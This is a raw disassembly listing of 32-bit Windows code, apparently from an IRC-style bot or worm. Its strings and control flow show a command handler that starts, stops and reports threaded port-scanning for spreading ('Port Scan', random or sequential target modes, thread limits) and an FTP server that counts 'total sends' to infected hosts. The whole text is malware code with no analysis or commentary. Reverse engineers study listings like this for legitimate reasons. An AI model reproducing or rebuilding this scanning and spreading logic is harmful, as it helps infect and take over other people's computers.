		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F9B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB60[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8380
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44965F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445430
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445430


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5F67AE
		mov	eax, dword_445430
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445438


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5F67AE
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5F67AE
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445430
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445430
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445430[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455FC
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455F8
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D809D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455F8
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455FC
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455F8
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D809D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:445412h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
